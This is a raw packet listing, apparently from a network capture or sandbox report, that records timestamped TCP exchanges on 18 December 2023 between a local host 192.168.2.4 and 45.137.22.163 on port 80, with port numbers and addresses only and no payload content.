Dec 18, 2023 14:31:05.961709023 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.961862087 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.961874962 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.961910009 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.962034941 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.962048054 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.962060928 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.962080002 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.962094069 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.962218046 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.962230921 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.962270975 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.962394953 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.962409019 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.962419033 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.962445974 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.962574005 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.962587118 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.962625980 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.962735891 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.962750912 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.962760925 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.962774038 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.962790012 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.963032961 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.963047028 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.963057995 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.963084936 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.963123083 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.963222980 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.963237047 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.963248014 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.963290930 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.963291883 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.963339090 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.963489056 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.963501930 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.963514090 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.963536024 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.963650942 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.963661909 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.963689089 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.963851929 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.963865042 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.963906050 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.964014053 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.964027882 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.964037895 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.964071035 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.964082956 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.964097023 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.964107990 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.964144945 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.964154005 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.964191914 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.964346886 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.964359999 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.964401960 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.964529037 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.964540958 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.964551926 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.964581966 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.964672089 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.964685917 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.964696884 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.964709044 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.964740038 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.964751959 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.964757919 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.964771032 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.964826107 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.964950085 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.964962959 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.965003014 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.965115070 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.965127945 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.965138912 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.965152025 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.965164900 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.965167999 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.965204954 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.965394020 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.965408087 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.965439081 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.965528965 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.965576887 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.965679884 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.965692997 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.965704918 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.965749979 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.965938091 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.965951920 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.965964079 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.965976000 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.965997934 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.966022015 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.966120005 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.966133118 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.966147900 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.966161013 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.966183901 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.966213942 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.966384888 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.966398001 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.966409922 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.966417074 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.966428995 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.966442108 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.966454029 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.966485977 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.966509104 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.966538906 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.966552019 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.966563940 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.966576099 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.966588974 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.966602087 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.966614008 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.966623068 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.966664076 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.966728926 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.966746092 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.966758013 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.966769934 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.966783047 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.966794014 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.966825008 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.966886997 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.966901064 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.966913939 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.966922998 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.966928005 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.966939926 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.966964960 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.966989994 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.967073917 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.967087984 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.967098951 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.967132092 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.967237949 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.967252016 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.967269897 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.967283964 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.967288017 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.967298031 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.967302084 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.967310905 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.967324018 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.967335939 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.967351913 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.967380047 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.967505932 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.967518091 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.967529058 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.967547894 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.967577934 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.967675924 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.967686892 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.967698097 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.967709064 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.967720032 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.967734098 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.967740059 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.967757940 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.967782974 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.967942953 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.967955112 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.967993975 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.968116999 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.968128920 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.968139887 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.968151093 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.968161106 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.968168974 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.968173027 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.968179941 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.968190908 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.968219995 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.968238115 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.968291044 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.968302965 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.968314886 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.968326092 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.968350887 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.968458891 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.968470097 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.968478918 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.968496084 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:06.013499022 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:06.016154051 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:06.060400009 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:06.191032887 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:06.191073895 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:06.191131115 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:06.191143990 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:06.191221952 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:06.191267967 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:06.191289902 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:06.191627979 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:06.191720009 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:06.191773891 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:06.191813946 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:06.191894054 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:06.191937923 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:06.191945076 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:06.192018986 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:06.192080975 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:06.192087889 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:06.192100048 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:06.192208052 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:06.192270994 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:06.192588091 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:06.192683935 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:06.192753077 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:06.192811012 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:06.192837954 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:06.192900896 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:06.192941904 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:06.192996979 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:06.193049908 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:06.193080902 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:06.193129063 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:06.193140984 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:06.193181992 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:06.193240881 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:06.193254948 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:06.193314075 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:06.193330050 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:06.193398952 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:06.193450928 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:06.193465948 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:06.193479061 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:06.193547964 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:06.193598986 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:06.193615913 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:06.193667889 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:06.193696022 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:06.193720102 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:06.193783045 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:06.193839073 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:06.193875074 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:06.193891048 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:06.193937063 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:06.193978071 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:06.193985939 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:06.194046974 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:06.194113016 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:06.194160938 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:06.194175959 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:06.194236994 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:06.194247007 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:06.194286108 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:06.194360971 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:06.194447041 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:06.194503069 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:06.194509029 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:06.194578886 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:06.194590092 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:06.194628000 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:06.194648027 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:06.194694996 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:06.194705009 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:06.194744110 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:06.194830894 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:06.194896936 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:06.194947958 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:06.195022106 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:06.195144892 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:06.195198059 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:06.195245981 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:06.195249081 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:06.195324898 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:06.195336103 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:06.195382118 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:06.195388079 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:06.195436001 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:06.195507050 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:06.195559025 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:06.195586920 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:06.195597887 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:06.195664883 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:06.195703030 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:06.195754051 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:06.195774078 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:06.195800066 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:06.195868969 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:06.195940971 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:06.196007967 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:06.196053982 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:06.196067095 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:06.196078062 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:06.196137905 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:06.196516991 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:06.196579933 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:06.196631908 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:06.196660042 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:06.196698904 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:06.196747065 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:06.196767092 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:06.196775913 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:06.196821928 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:07.737888098 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:19.509932995 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:19.751070023 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:19.751249075 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:19.751796961 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:19.994237900 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:19.994280100 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:19.994312048 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:19.994396925 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:19.994430065 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:19.994462967 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:19.994496107 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:20.235718012 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.235743046 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.235816956 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.235871077 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:20.235883951 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.235948086 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:20.235984087 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.236067057 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.236121893 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:20.236134052 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.236274004 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.236310005 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.236325026 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:20.477183104 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.477237940 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.477304935 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.477396011 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.477401972 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:20.477492094 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.477497101 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:20.477554083 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.477602005 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:20.477648020 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.477763891 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.477830887 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.477829933 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:20.477906942 CET	80	49730	45.137.22.163	192.168.2.4
